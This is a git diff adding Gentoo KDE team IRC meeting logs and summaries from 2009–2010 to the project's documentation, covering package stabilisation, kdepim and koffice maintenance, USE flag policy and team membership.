+[22:34:19] <Sput> also, it seems like KDAB doubts that they manage to get kdepim fixed in time for KDE 4.5
+[22:34:34] <Sput> there will be a meeting in a few weeks where they are going to decide what to do
+[22:35:11] <Sput> one problem is that they got their branching all wrong and lost tons of commits for kmail trunk
+[22:35:25] <Sput> because people were comitting to the wrong branch...
+[22:35:45] <tampakrap> okie
+[22:35:50] <tampakrap> next one
+[22:35:56] <tampakrap> change kde-meta (and @kde-*) to include all modules (plus the developer specific ones)
+[22:36:12] <tampakrap> there were some ppl in the mail i send that liked my idea
+[22:36:21] <tampakrap> so i'd really like to move on this
+[22:36:24] <tampakrap> scarabeus: ^^?
+[22:36:29] <scarabeus> with useflag you can go ahead
+[22:36:29] <wired> im still in favor of this if we use a USE flag
+[22:36:31] <jmbsvicetto> I still don't like that
+[22:36:49] <jmbsvicetto> At least not in kde-meta without a use flag
+[22:36:51] <wired> dev || sdk
+[22:36:59] <wired> both are nice use flags :)
+[22:37:01] <scarabeus> jmbsvicetto: what i said above :P
+[22:37:05] <jmbsvicetto> :P
+[22:37:34] <tampakrap> ok, i'll add sdk useflag to kde-meta
+[22:37:47] <tampakrap> and leave sets as they are
+[22:37:52] <jmbsvicetto> not as IUSE default :P
+[22:37:54] <tampakrap> i don't care about sets anyway
+[22:37:58] <tampakrap> of course not
+[22:38:00] <wired> lol
+[22:38:02] <wired> +1
+[22:38:27] <tampakrap> sdk will contain bindings, kdewebdev and kdesdk? or should i leave bindings for now?
+[22:38:53] <wired> do they work?
+[22:39:03] <scarabeus> they do not mostly]
+[22:39:09] <wired> do they build?
+[22:39:12] <tampakrap> there are ppl working on them, so i guess they will in the near future
+[22:39:20] <dilfridge> scarabeus: which bindings do not work?
+[22:39:31] <scarabeus> csharp afaik
+[22:39:35] <wired> if they build i vote on adding them, get people's attention :)
+[22:40:11] <tampakrap> ok, i'll leave them out for now then, and add them later when they all build
+[22:40:24] <tampakrap> afaik we don't even have a meta for bindings
+[22:41:19] <tampakrap> thank you for this, next one is patches of kde-packager
+[22:41:32] <tampakrap> jmbsvicetto / ABCD(absent): any news on this?
+[22:42:18] <jmbsvicetto> tampakrap: sorry not yet
+[22:42:34] <tampakrap> so i guess you need help on this?
+[22:42:39] <jmbsvicetto> I'll focus on this for 4.4.1 onwards
+[22:42:40] <tampakrap> any more ppl willing to help?
+[22:43:07] <scarabeus> i have to work on something different, so i have to blob out, so enjoy the rest  of the meeting, i will reply to pongs, but wont read
+[22:43:07] <scarabeus> for latest topic i am with lieo (malformed for no highlight)
+[22:44:10] <tampakrap> no worries
+[22:44:15] <wired> scarabeus: is it something with leads that makes them be away all the time?
+[22:44:20] <wired> :D
+[22:44:27] <wired> j/k ofc, c ya later
+[22:44:46] <tampakrap> let's raise the topic in next meeting to see if there will be any progress then
+[22:45:05] <tampakrap> last topic and most important
+[22:45:10] <tampakrap> split of desktop profile
+[22:45:21] <tampakrap> leio / yngwin: your attention plz :)
+[22:45:47] <yngwin> :)
+[22:46:40] <tampakrap> leio: as i told you before, i really like the idea of mixed profiles and i am willing to work on it
+[22:47:08] <jmbsvicetto> I like that idea as well
+[22:47:11] <tampakrap> but i can't have an eta as i don't have a stable schedule atm and i don't even know how much time it wants to be finished
+[22:47:16] <yngwin> me too, but i expect that will take a while to implement
+[22:47:23] --> pesa (~Pesa@host124-126-dynamic.52-82-r.retail.telecomitalia.it) has joined #gentoo-meetings
+[22:47:27] <tampakrap> so i'd really like to proceed on commiting the patches i have prepared
+[22:47:50] <tampakrap> so any objections? something wrong with them before i commit?
+[22:48:48] <yngwin> no objections
+[22:49:38] <wired> i haven't tested them (and i don't use the desktop profile :p) but i really like the idea, +1
+[22:51:06] <-- pesa (~Pesa@host124-126-dynamic.52-82-r.retail.telecomitalia.it) has left #gentoo-meetings ("Konversation terminated!")
+[22:51:20] <tampakrap> leio seems away, so if you want you anything more you can pm me
+[22:51:38] <tampakrap> i'll commit it this sunday fyi, i'll be out of town the next two days
+[22:52:10] <leio> well, you know what I think
+[22:52:26] <leio> (was here at start, but had a phone call afterwards)
+[22:53:36] <tampakrap> cool, i'd take it as a :thumbup from the gnome team and proceed
+[22:53:42] <leio> we have had the single desktop profile situation for, what? four years? So even waiting 3 months more to get the better method implemented would sound fine in my book, but as I can't work on that myself, I can't well argue against more subprofiles meanwhile
+[22:55:00] <tampakrap> point taken
+[22:55:32] <tampakrap> i guess the meeting is over, I'd also like to inform you i have updated docs, please check for any issues
diff --git a/xml/htdocs/proj/en/desktop/kde/meeting-logs/kde-project-meeting-log-20100604.txt b/xml/htdocs/proj/en/desktop/kde/meeting-logs/kde-project-meeting-log-20100604.txt
new file mode 100644
index 00000000..3f12f317
--- /dev/null
+++ b/xml/htdocs/proj/en/desktop/kde/meeting-logs/kde-project-meeting-log-20100604.txt
@@ -0,0 +1,282 @@
+[21:59:58] * scarabeus has changed topic for #gentoo-meetings to: "Gentoo meetings | KDE Team meeting | topics: http://paste.pocoo.org/show/222007/"
+[22:00:43] -*- ABCD is here
+[22:00:45] <scarabeus> lets get slowly started
+[22:00:51] <scarabeus> so step 0: roll call
+[22:00:51] -*- dilfridge is here
+[22:00:52] -*- wired suprizingly here
+[22:00:52] <scarabeus> who is around
+[22:01:02] --> krytzz (~quassel@quassel/user/krytzz) has joined #gentoo-meetings
+[22:01:17] <scarabeus> thats all?
+[22:01:22] <wired> lol
+[22:01:34] --> deathwing00 (~deathwing@gentoo/developer/Deathwing00) has joined #gentoo-meetings
+[22:01:37] -*- ABCD is here (again, because I said it before roll call started)
+[22:01:38] <deathwing00> w00t?
+[22:01:50] <dilfridge> wot?
+[22:01:52] <deathwing00> ok, before anyone brings up any topic
+[22:01:56] <deathwing00> let me say just one thing
+[22:02:39] <deathwing00> my commit access will be disabled starting this month June 2010 and will be re-enabled July 2011, as I will be doing an MBA that will take most of my time away, besides I was promoted to team leader in Flumotion and that adds me even more workload
+[22:02:48] <deathwing00> said that, good luck guys :)
+[22:02:58] <scarabeus> deathwing00: cheers, and happy birthday :]
+[22:03:01] <wired> you really think you won't have time for 1 commit? hehe
+[22:03:15] <dilfridge> good luck to you too :)
+[22:03:35] --> mschiff (~mschiff@d000042.adsl.hansenet.de) has joined #gentoo-meetings
+[22:03:37] <deathwing00> :)
+[22:03:38] <scarabeus> !herd kde
+[22:03:38] <deathwing00> thanks
+[22:03:38] <willikins> (kde) abcd, alexxy, carlo, cryos, dagger, deathwing00, jmbsvicetto, keytoaster, lxnay, mrpouet, patrick, scarabeus, spatz, sping, tampakrap, tgurr, wired
+[22:03:43] <scarabeus> wake up rest of you
+[22:03:47] <scarabeus> there is more than 10 people
+[22:04:16] <deathwing00> scarabeus: laters then :)
+[22:04:24] <deathwing00> I'll still be around in jabber ;)
+[22:04:25] <dilfridge> hmm... time for small talk...
+[22:04:27] <-- deathwing00 (~deathwing@gentoo/developer/Deathwing00) has quit (Quit: Leaving.)
+[22:04:47] <scarabeus> ok, lets get started, and i will kick their asses later
+[22:05:02] <scarabeus> so 4.4 and its stabilisation
+[22:05:08] <bonsaikitten> rrrrrrringdingding!
+[22:05:12] <scarabeus> the bug is not moving anyhow promisingly
+[22:05:36] <dilfridge> many things are there since 4.3.x times
+[22:06:10] <scarabeus> yes the main quesiton is
+[22:06:16] <scarabeus> how about we put 4.4.4 to main tree
+[22:06:21] <scarabeus> and ask for stabilisation in 1 week
+[22:06:25] <scarabeus> no matter what is left
+[22:06:43] <ABCD> sounds fine to me - 4.4.4 should just be bugfixes on 4.4.3, right? :D
+[22:06:46] <scarabeus> but basic thing i would like to say is that i would like to see designated team that would handle the stables
+[22:06:49] <dilfridge> probably not better nor worse than 4.4.3
+[22:06:52] <scarabeus> they will run the stable
+[22:07:05] <scarabeus> and will be responsible for proactively stabling and pestering us all for fixing stable bugs
+[22:07:12] -*- dilfridge hears some coconuts in the background
+[22:07:48] <dilfridge> well who else besides me runs 4.4.[34] here still?
+[22:08:15] <scarabeus> i have 4.4.3
+[22:08:16] <jmbsvicetto> sorry, got distracted
+[22:08:16] <scarabeus> :]
+[22:08:18] -*- ABCD doesn't because his hard drive broke
+[22:08:28] <scarabeus> jmbsvicetto: by accident you dont run stable huh? ;}
+[22:09:40] <jmbsvicetto> I runn 4.4.4
+[22:09:46] <dilfridge> also good
+[22:09:48] <scarabeus> So any other ideas how to handle this situation?
+[22:09:51] <jmbsvicetto> run*
+[22:10:09] <dilfridge> well the only other alternative would be to stable 4.4.3
+[22:10:10] <jmbsvicetto> scarabeus: about the 1 week we must be ready for arch teams to tell us they'll wait the usual month
+[22:10:31] <scarabeus> nah, they wont get to that bug before the month will come anyway
+[22:10:37] <jmbsvicetto> in any case, I think the most important issue is the deps. Are we sure all 4.4.4 deps are marked stable?
+[22:10:50] <scarabeus> expect amd64 and x86 which mostly will do what we ask them
+[22:10:52] <ABCD> did the deps change from 4.4.3?
+[22:11:17] <scarabeus> dependecies were not changed
+[22:11:22] <jmbsvicetto> ABCD: 4.4.3 isn't stable, right? iirc, the latest stable is 4.3.5
+[22:11:29] <dilfridge> yes
+[22:11:34] <jmbsvicetto> scarabeus: and no, I don't run stable
+[22:11:55] <jmbsvicetto> also, what about kdepim? Will that only affect 4.5?
+[22:11:58] <scarabeus> jmbsvicetto: i think our problem is that we all rock on ~ or even further
+[22:12:01] -*- dilfridge has a fully stable x86 chroot rotting somewhere
+[22:12:10] <scarabeus> jmbsvicetto: kdepim is affected only 4.5 and it is next topic :]
+[22:12:20] <ABCD> jmbsvicetto: it isn't, but if its deps were stable, then there shouldn't be much of an issue
+[22:12:21] <scarabeus> dilfridge: sadly you are not dev yet whom can fill those requests :]
+[22:12:30] <jmbsvicetto> scarabeus: that's to be expected
+[22:12:35] <jmbsvicetto> (us running ~)
+[22:12:41] <scarabeus> yes
+[22:12:49] <scarabeus> but then we would expect archies to fill stablerequests
+[22:12:56] <scarabeus> we have tons of various packages just in ~
+[22:13:00] <dilfridge> but anyway ~ is better than ~+pmasked
+[22:13:03] <scarabeus> because nobody ever bothered to fill the bugs
+[22:13:15] <jmbsvicetto> it's up to us to ask for packages to be marked stable, but it's up to arch teams to take care of it
+[22:13:31] <dilfridge> (and to wait for 30days...)
+[22:13:36] <scarabeus> yes, and who else would have better motivation to ask for stables than people running it
+[22:13:40] <jmbsvicetto> I'm planning to add a request for amarok soon
+[22:13:56] <jmbsvicetto> but I need to check the status of the deps
+[22:14:16] <jmbsvicetto> I'll probably go for 2.3.0.90 or 2.3.1 directly and then drop all the older versions
+[22:14:50] <scarabeus> sounds sane :]
+[22:14:56] <jmbsvicetto> I'm also likely to merge amarok and amarok-utils as I don't see any interest on amarok-utils
+[22:15:10] <scarabeus> so i guess my plan with arch team wont work since we dont have anyone interested in it :P
+[22:15:21] <scarabeus> so only question left is which version 4.4.3 or 4.4.4
+[22:15:31] <scarabeus> devs plz pick :]
+[22:15:35] <scarabeus> jmbsvicetto: sounds also sane :]
+[22:15:39] <jmbsvicetto> well, most of us already have the blessing to do the work for amd64
+[22:16:05] <ABCD> I'd say 4.4.4 if we can convince the archies to do it in 7 days instead of 30
+[22:16:06] <jmbsvicetto> at this point, we can probably target 4.4.4
+[22:16:16] <scarabeus> ok
+[22:16:28] <scarabeus> 3 out of 5 attending devs
+[22:16:32] <scarabeus> added to summary
+[22:16:37] <scarabeus> next topic then
+[22:16:40] <scarabeus> kdepim 4.5
+[22:16:45] <dilfridge> ugh
+[22:16:49] <jmbsvicetto> ABCD: past history has showed that it takes a bit more than 1 or 2 weeks since we plan to ask for a package to get marked stable and to the request get to the arch teams ;)
+[22:17:12] <wired> i also vote for 4.4.4
+[22:17:19] <wired> btw we can stable amd64 ourselves
+[22:17:26] --> raxas (~raxas@charybdis-1-pt.tunnel.tserv6.fra1.ipv6.he.net) has joined #gentoo-meetings
+[22:17:28] <jmbsvicetto> besides, has anyone hit any regression from 4.4.3 to 4.4.4?
+[22:17:28] <scarabeus> yes yes
+[22:17:33] <dilfridge> no
+[22:17:47] <dilfridge> one last thing before we move on to kdepim
+[22:17:48] <jmbsvicetto> I haven't, but I didn't check the kdm user thing yet
+[22:17:56] <Wizzleby> No regressions from 4.4.3->4.4.4 here
+[22:18:14] <dilfridge> we will probably be drowned in akonadi problems when 4.4.x gets stable
+[22:18:25] <scarabeus> dilfridge: aware of that :/
+[22:18:29] <jmbsvicetto> hmm, I did restart kdm on my desktop and it's working, so I don't think that's an issue afterall
+[22:18:41] <dilfridge> (i was always too lazy to file a bug, but on my 3 machines it never started working properly)
+[22:18:57] -*- scarabeus does not even have kdepim installed
+[22:19:00] <scarabeus> too big pile of...
+[22:19:06] <scarabeus> anyway
+[22:19:10] <scarabeus> we have 3 options at our hands
+[22:19:12] <dilfridge> I like(d) it...
+[22:19:15] <jmbsvicetto> dilfridge: if you mean about kdepim, I don't have it installed locally :P
+[22:19:22] <scarabeus> ship kdepim from trunk with 4.5 releases, our tarballs
+[22:19:30] <scarabeus> make 4.5 work with 4.4 kdepim
+[22:19:36] <scarabeus> or finaly package enterprise branch
+[22:19:48] <jmbsvicetto> scarabeus: Perhaps we should start by making 2 questions:
+[22:19:59] <jmbsvicetto> 1. Which devs care or want to "mess" with kdepim
+[22:20:06] <krytzz> second is probably the easiest, as all distros wil do that right?
+[22:20:32] <scarabeus> krytzz: second is indeed easiest
+[22:20:39] <jmbsvicetto> 2. and depending on that we can just start a vote on the forums/mls/* explaining the issue to the users and getting a "vote" on how to proceed
+[22:20:42] <dilfridge> jmbsvicetto: alexxy was interested but sadly is not here
+[22:20:55] <scarabeus> i am definitely not interested in kdepim
+[22:20:59] <scarabeus> if that part of kde disappeared
+[22:21:01] <scarabeus> i would be happy man
+[22:21:10] <scarabeus> among with semantic-desktop team
+[22:21:11] <scarabeus> :D
+[22:21:21] <jmbsvicetto> I don't plan to touch kdepim too
+[22:21:23] -*- dilfridge would probably skip that release then as he need kdepim
+[22:21:42] <scarabeus> dilfridge: pst, we switched to claws and thunderbird, they works
+[22:21:49] <dilfridge> hehe
+[22:22:01] <jmbsvicetto> I've always used FF and TB, so no change for me ;)
+[22:22:11] <scarabeus> ok so seems noone is interested in this topic
+[22:22:18] <scarabeus> so lets postrpone it, i will sent mail to alias
+[22:22:23] <scarabeus> and i will pray that someone reply
+[22:22:24] <jmbsvicetto> scarabeus: what about my proposal?
+[22:22:27] <krytzz> what about reavertm, he did some work with pim :p
+[22:22:37] <scarabeus> jmbsvicetto: the forums are good idea, but first we need to pass step 1
+[22:22:43] <jmbsvicetto> scarabeus: we could set a plan like the following:
+[22:23:09] <jmbsvicetto> 1. give developers one week to express what they feel about kdepim and to see if anyone volunteers to work on it
+[22:23:43] <jmbsvicetto> 2. if that fails or we can't find anyone willing to do it, make a public announcement about the issue, explain it and give a few options to users:
+[22:24:11] <jmbsvicetto> 2.1 have interested parties show up and work in the overlay to get it done - (what can be given as option to the community)
+[22:24:18] <scarabeus> ok
+[22:24:25] <jmbsvicetto> 2.2 have users vote for us to just ignore kdepim until it gets working
+[22:24:26] <krytzz> will 4.5 be released one month afterwards? in that case you could postpone the whole 4.5 release for 1 month?
+[22:24:26] <ABCD> from what I heard, kdepim may show back up in 4.5.1 or 4.5.2
+[22:24:28] <scarabeus> that sounds like nice sumup
+[22:24:37] <jmbsvicetto> 2.3 give the above 3 options for someone to work on
+[22:25:23] <scarabeus> ABCD: with shitload of bugs
+[22:25:40] <ABCD> that's beside the point :D
+[22:25:41] <scarabeus> jmbsvicetto: added your approach to summary, since it sounds like only sane :]
+[22:25:45] <dilfridge> that's what 4.5.3456 will be for
+[22:26:02] <scarabeus> koffice-2.2
+[22:26:09] <scarabeus> dilfridge: i saw you working on it :]
+[22:26:18] <dilfridge> yes and it works afaik
+[22:26:21] <jmbsvicetto> That's another thing I don't plan to work on
+[22:26:24] <scarabeus> so wanna be designated maintainer?
+[22:26:38] <dilfridge> puh... I'm not actively using it so bad choice...
+[22:26:53] <dilfridge> (whenever I tried ooo did the job better)
+[22:27:13] <dilfridge> but I can look after it a bit yes
+[22:27:33] <jmbsvicetto> scarabeus: we could perhaps use this chance to ask for volunteers to work on koffice and kdepim
+[22:27:50] <jmbsvicetto> (not that I expect a horde to show up)
+[22:28:19] <scarabeus> well we need 2.2.0 in main tree stabilised asap
+[22:28:26] <scarabeus> because 2.1 is seriously useless
+[22:28:29] <dilfridge> I'd rather volunteer for some kdepim stuff than koffice...
+[22:28:49] <scarabeus> :DDD
+[22:28:55] <-- brk (~brk@r9dq22.net.upc.cz) has quit (Ping timeout: 260 seconds)
+[22:28:57] <jmbsvicetto> dilfridge: s/and/and or/
+[22:29:00] <scarabeus> lets try same approach as for kdepim then
+[22:29:27] <scarabeus> NEEEXT :D
+[22:29:44] <scarabeus> so dagger sent me mail
+[22:30:01] <scarabeus> if we would accept pulse patches
+[22:30:01] <scarabeus> that makes it work in kmix
+[22:30:02] <scarabeus> for now on we have policy that we dont backport patches
+[22:30:41] <scarabeus> so lets vote about wheter to accept patches or be strictly what upstream sends
+[22:30:57] <jmbsvicetto> scarabeus: since when? we always tried to follow upstream as closely as possible, but if someone is willing to apply a back-port and to keep it working, why not?
+[22:31:03] -*- alexxy here =)
+[22:31:07] <scarabeus> just write upstream/distro-patches based on what you want (only devs)
+[22:31:15] <scarabeus> jmbsvicetto: acutaly we declined quite few backports
+[22:31:39] <scarabeus> jmbsvicetto: for konsole in example
+[22:31:42] <jmbsvicetto> as long as we don't want to do it and there's no one in the team willing to do it, it's ok by me
+[22:31:57] <jmbsvicetto> scarabeus: iirc, ssuominem applied that patch again
+[22:32:27] <jmbsvicetto> I don't follow commits closely, but by reading the bugzilla mail, I think a few have been applied
+[22:33:12] <scarabeus> so lets keep status "if you keep it backported and polished you can have it..."?
+[22:33:17] <wired> backports++ from me if they fix stuff ;)
+[22:33:32] <jmbsvicetto> scarabeus: together with the old "you break it, you fix it" ;)
+[22:33:43] <wired> jmbsvicetto thats a must :P
+[22:34:05] <scarabeus> ok added to summary
+[22:34:13] <scarabeus> now the topic that is quite important
+[22:34:23] <jmbsvicetto> oh and about pulseaudio, I no longer care!! /me is using phonon-vlc :)
+[22:34:37] <wired> lol
+[22:34:42] <scarabeus> so inactive people in team
+[22:34:45] <scarabeus> what the f**k is everyone doing
+[22:34:51] <scarabeus> there is 17 people in the team
+[22:34:54] -*- jmbsvicetto goes hidding in the back
+[22:34:55] <scarabeus> ...
+[22:34:56] <scarabeus> :D
+[22:35:14] <jmbsvicetto> scarabeus: I guess the other 16 guys are very active :P
+[22:35:14] <scarabeus> on this meeting we have star attendance of 5 developers
+[22:35:24] <scarabeus> very very active
+[22:35:24] <wired> well
+[22:35:40] <alexxy> he he =)
+[22:35:50] <wired> scarabeus: you're to blame for this instance
+[22:35:58] <wired> you chose FRIDAY EVENING
+[22:36:05] <wired> failday for meeting :p
+[22:36:09] <scarabeus> i dont mind attendance for meeting
+[22:36:11] <jmbsvicetto> scarabeus: talking for myself, I took a lot of work when things were stalled, then you guys all started doing so much, I got used not needing to do too much ;)
+[22:36:16] <alexxy> its beerday 
+[22:36:16] <alexxy> =)
+[22:36:24] <scarabeus> but there is almost no activity on tree or ovelray by team members in kde area
+[22:36:29] <krytzz> right... only people without friends are online now
+[22:36:38] <scarabeus> not counting few active ones
+[22:36:45] <jmbsvicetto> krytzz: thanks :P
+[22:36:48] <scarabeus> so since joining team is really simple
+[22:36:50] <wired> \o/
+[22:37:10] <scarabeus> i would like to ask all those who are not really into working at least bit on kde remove themselves from herd
+[22:37:17] <scarabeus> they are mostly active in other areas of gentoo
+[22:37:31] <jmbsvicetto> scarabeus: Now you know how fun it is to have the pointy hat ;)
+[22:37:36] <scarabeus> and it would at least show me list of people i can count in
+[22:37:56] <wired> scarabeus: thats not going to work, most of them aren't even here :P
+[22:38:11] <scarabeus> and i will forceremove everyone who dont have at least 1 commint in last 2 months
+[22:38:17] <scarabeus> wired: it will be on summary
+[22:38:36] <scarabeus> they can join in back and be active
+[22:38:51] <scarabeus> or just commit here and there with our permission as other nonteam devs do now
+[22:39:14] <scarabeus> bonsaikitten: that counts you too ;]
+[22:39:35] <jmbsvicetto> scarabeus: ok, let me be clear about my commitment: I plan to do amarok as long as no one takes it out of me, I'm interested in phonon-vlc for the moment, I also have an interest on kdenetwork. I try to look at bugs and I get interested on stuff sent to packagers. I do however have a few other areas where there aren't active people on, so they sometimes take priority
+[22:39:40] <-- ABCD (~abcd@gentoo/developer/abcd) has quit (Ping timeout: 265 seconds)
+[22:40:03] <scarabeus> jmbsvicetto: you do commits in packages that have herd kde
+[22:40:19] <scarabeus> jmbsvicetto: there are people that didnt do any commit in those 2 named months back any of that
+[22:40:21] <bonsaikitten> scarabeus: yeah, that's fine with me
+[22:40:23] <jmbsvicetto> yeah, but I know I don't do many commits
+[22:40:26] <scarabeus> (i did some research)
+[22:40:33] -*- alexxy plays with beta/rc/snaphsots stuff
+[22:40:34] <scarabeus> jmbsvicetto: but you do something :]
+[22:40:34] <bonsaikitten> I'm mostly honorific member ;)
+[22:40:51] <wired> the last thing i did was fix koffice 2.1.81
+[22:40:51] <wired> ;p
+[22:40:55] <scarabeus> there is thin line between something and nothing
+[22:41:27] -*- jmbsvicetto gives a swift kick in bonsaikitten's honorific *slacker* member :P
+[22:42:04] <bonsaikitten> jmbsvicetto: you sound fat!
+[22:42:08] <wired> you know I was looking at the slacker definition the other day and it said also known as bonsaikitten or patrick
+[22:42:11] <wired> ;p
+[22:42:12] <jmbsvicetto> bonsaikitten: :P
+[22:42:22] <jmbsvicetto> wired: hehe
+[22:42:31] <alexxy> =)
+[22:42:50] <scarabeus> ?D
+[22:42:52] <scarabeus> ok
+[22:42:58] <alexxy> =P
+[22:42:59] <jmbsvicetto> wired: He has a bit to learn to catch some champs ;)
+[22:43:00] <scarabeus> i guess that is all of mine topics
+[22:43:03] <wired> omg
+[22:43:04] <scarabeus> so
+[22:43:08] <scarabeus> you have something to discuss
+[22:43:19] <scarabeus> http://paste.pocoo.org/show/222014/
+[22:43:19] <jmbsvicetto> a 40 minutes meeting? O_O
+[22:43:23] <scarabeus> also here is current summary
+[22:43:25] <alexxy> my 50 cents about kdepim
+[22:43:29] <scarabeus> i planned 10 minutes for each
+[22:43:34] <scarabeus> we were faster
+[22:43:52] <alexxy> i plan to package tarballs for 4.5.0
+[22:43:54] <alexxy> =)
+[22:44:14] <dilfridge> nice
+[22:44:18] <scarabeus> alexxy: that is mostly too late :P now you will have to work with others over mail :
+[22:44:19] <scarabeus> ]
+[22:44:29] <jmbsvicetto> reavertm: what are you planning to do with the cmake-utils eclass and was there any reason for the revert?
+[22:45:52] <scarabeus> alexxy: also remember that people will want to kill you if you blow up their mail client :D
+[22:46:03] <scarabeus> 1 thingie, anyone did log?
+[22:46:06] <scarabeus> for the log...
+[22:46:07] <scarabeus> :]
+[22:46:12] <scarabeus> i have just summary
+[22:46:14] <dilfridge> sure
+[22:46:19] <alexxy> i have log
+[22:46:21] <alexxy> =)
+[22:46:45] <wired> so do i
\ No newline at end of file
diff --git a/xml/htdocs/proj/en/desktop/kde/meeting-logs/kde-project-meeting-summary-20090212.txt b/xml/htdocs/proj/en/desktop/kde/meeting-logs/kde-project-meeting-summary-20090212.txt
new file mode 100644
index 00000000..288437ca
--- /dev/null
+++ b/xml/htdocs/proj/en/desktop/kde/meeting-logs/kde-project-meeting-summary-20090212.txt
@@ -0,0 +1,34 @@
+KDE PPLE AROUND:
+alexxy, tampakrap, wired, hwoarang, scarabeus, yngwin, Sput, jmbsvicetto, reavertm, krytzz,
+EXCUSED:
+cryos, deathwing00, tgurr
+NOT EXCUSED:
+the rest :P
+
+Review of previous:
+update for 4.2 went ok. Some minor issues :]
+there is missing review for pyqt/pykde and printing stuff, that will be deffered until somebody step up for the fixing/testing.
+
+This one:
+droping of 4.1. - tampakrap
+
+voting for leader -> jmbsvicetto, he get 7 voltes from devs (alexxy, tampakrap, hwoarang, scarabeus, yngwin, deathwing00) rest is not around so deal with it :]
+all hail to the new leader jmbsvicetto :P
+
+prefixing and using multiple versions of the kde in one prefix -> cooperation with upstream
+installing libs and things versioned and use eselect to pick the one we want...
+read the log around 21:30 and keep going for this one
+jmbsvicetto, reavertm, maybe somebody more
+
+3.5 - dropping the old .7 and .8
+poke archies about stabling and checking keywords on .9
+alexxy is going to do this one
+
+patches sharing with other distros
+new patching glep, help wanted and i welcome any critic on current state (on mail until i anounce on -dev).
+http://dev.gentoo.org/~scarabeus/patches-glep.html
+scarabeus
+
+pykde - needs love, unprefixing probably, who will do it?
+
+and more and more...
\ No newline at end of file
diff --git a/xml/htdocs/proj/en/desktop/kde/meeting-logs/kde-project-meeting-summary-20090401.txt b/xml/htdocs/proj/en/desktop/kde/meeting-logs/kde-project-meeting-summary-20090401.txt
new file mode 100644
index 00000000..168f5286
--- /dev/null
+++ b/xml/htdocs/proj/en/desktop/kde/meeting-logs/kde-project-meeting-summary-20090401.txt
@@ -0,0 +1,74 @@
+Roll call:
+KDE devs: alexxy, bonsaikitten, cryos, hwoarang, jmbsvicetto, scarabeus, tampakrap, yngwin
+KDE ATs: krytzz, reavertm, wired
+
+Agenda for the meeting:
+- unprefixing misc stuff
+- moving plasmoids to the tree
+- kde3 state
+- moving printing to the tree
+- upstream responses on packaging snapshots
+- removing dead members
+- pykde fixing
+- handling kdeprefix for base... eselect?
+- koffice status / what is needed
+- moving meeting to another date (about 2 weeks before release of upstream so 
+we can talk about what is needed to be done for current release)
+- stable live status (if the guys working on it shows up ;])
+
+ - Removing kdeprefix for apps not in kde-base
+   reavertm explained that the goal was to drop the kdeprefix use flag for all apps
+   outside of kde-base and that he already started the work for it (including a rewrite
+   of the eclasses) in the dropped-kdeprefix-on-non-kde-base branch in the kde-testing
+   overlay. This means deprecating NEED_KDE in favor of KDE_REQUIRED and KDE_MINIMAL, so
+   that packages are built not against the newest available KDE (when there's more than
+   1 version) but instead to the oldest - respecting KDE_MINIMAL.
+   There was a long discussion about kdeprefix, its purpose, benefits and alternatives.
+   The final consensus was to follow reavertm's solution.
+
+ - KDE3 state
+   tampakrap explained the eclasses are ready to move all packages under /usr/kde/3.5.
+   He's still testing ebuilds and could use the help of 2 people to test kde-misc apps.
+   wired and jmbsvicetto offered to help. tampakrap will prepare a list of packages and
+   we're going to search for people through the page and a mail to the dev ml.
+   To start the work on getting KDE4 marked stable, we agreed to get this work done by
+   the end of the month - we'll be masking 3.5.9 monos as soon as we get 3.5.10 marked
+   stable.
+
+ - Moving Plasmoids to the tree
+   Plasmoids were moved to kde-misc category and will be added when they're tested
+   with +kdeprefix
+
+ - Adding printing packages to the tree.
+   We've decided to hold this until KDE-4.3.
+
+ - Upstream response to the packaging snapshots mail
+   No reply again. As we're being ignored, we've decied to repackage the snapshots.
+
+ - Removing dead members
+   jmbsvicetto will go over the retirement bugs and will send emails to the members
+   that are MIA. He will get the team membership cleaned before next meeting.
+
+ - pykde fixing
+   There are some problems with having more than one pykde version with +kdeprefix
+   as it installs files outside the prefix. The solution might be to "unprefix" it
+   or to have a new package just with the python files. In any case, patrick was
+   "nominated" to work on this.
+
+ - handling kdeprefix for base ... eselect
+   After some discussion we agreed eselect was not the solution
+
+ - koffice status / what is needed
+   scarabeus informed the team that koffice-2.0 is going to be released at the end
+   of the month and asked what we should do about it. scarabeus suggested to have
+   the stable release hardmasked in the tree. We agreed to try to get one of the
+   rcs in the tree before that to allow users to test it.
+
+ - moving meeting to another date
+   We decided to have KDE meetings at the 3rd Thursday of the month.
+
+ - stable live status
+   We didn't discuss this topic.
+
+As a final note, jmbsvicetto reminded people that we still have a *few* open bugs
+and that we should all try to help get that number down.
diff --git a/xml/htdocs/proj/en/desktop/kde/meeting-logs/kde-project-meeting-summary-20090521.txt b/xml/htdocs/proj/en/desktop/kde/meeting-logs/kde-project-meeting-summary-20090521.txt
new file mode 100644
index 00000000..8b52f4f5
--- /dev/null
+++ b/xml/htdocs/proj/en/desktop/kde/meeting-logs/kde-project-meeting-summary-20090521.txt
@@ -0,0 +1,182 @@
+21.5.2009 - KDE Meeting
+Roll-call: wired, alexxy, scarabeus, dagger, hwoarang, tampakrap, bonsaikitten, krytzz, yngwin, civil, papillon81, reavertm, lxnay, cryos, jmbsvicetto
+
+Cryos legitimely excused from not attending much, new baby on the route. Grats to him! :]
+
+Doc handling
+- doc == aplication handbook or handbook, to be decided...
+- enable +doc/handbook by default for kde-base
+- aplication api documentation - scarabeus write mail asking for some global useflag for it on -dev
+- rename doc useflag to handbook with 4.3 again :D
+- make it more handleable by eclass rather than in the ebuilds
+- lxnay volunteer to do the packages update in overlay
+- so priority coruse is:
+  - mail to dev asking how to do it
+  - wait a bit and if nothing constructive comes up do the rename for 4.3
+
+kde3
+- kill arts, all misc apps needs it removed and be stabled before 3.5.10 stabling
+- stable 3.5.10, all kde related misc apps needs to be revbumped/verbumped and stabled before it
+- tampakrap starts handling 3.5.10 stabilisation - stable bug asap 15.6. deadline
+- writing doc about kde3/4 mixing - tampakrap
+
+kdeprefix
+- long discussion about support of kde4 +kdeprefix install in kde3 and gnome, will chat with reaver about it on aproperiate bug
+- add ewarn for user when installing with +kdeprefix so we assure he knows what he is messing with. (controled same like live warning)
+
+kde 4.3
+- libknotification already handled, pdepend for kdelibs.
+- policykit looks ok
+- so no much work for 4.3 itself
+
+kde/kde3 useflag
+we voted about it, result:
+kde - latest supported kde 4, 5, whatever
+kde3 - for now kde 3 series, when kde5 is out there will be kde4 useflag and so on,...
+as long as new version is expected to be highly experimental we will have kdeX where X is the version number. When proper support in portage arrives it mutate into kde and older kde mutate to kdeY where Y is X-1
+
+phonon
+- ship snapshot into the tree with kde 4.3
+- separating xine part to be able use qt-phonon instead of normal phonon with kde - probably reaver
+
+CODE:
+improve it, and add requirements we find out that are needed
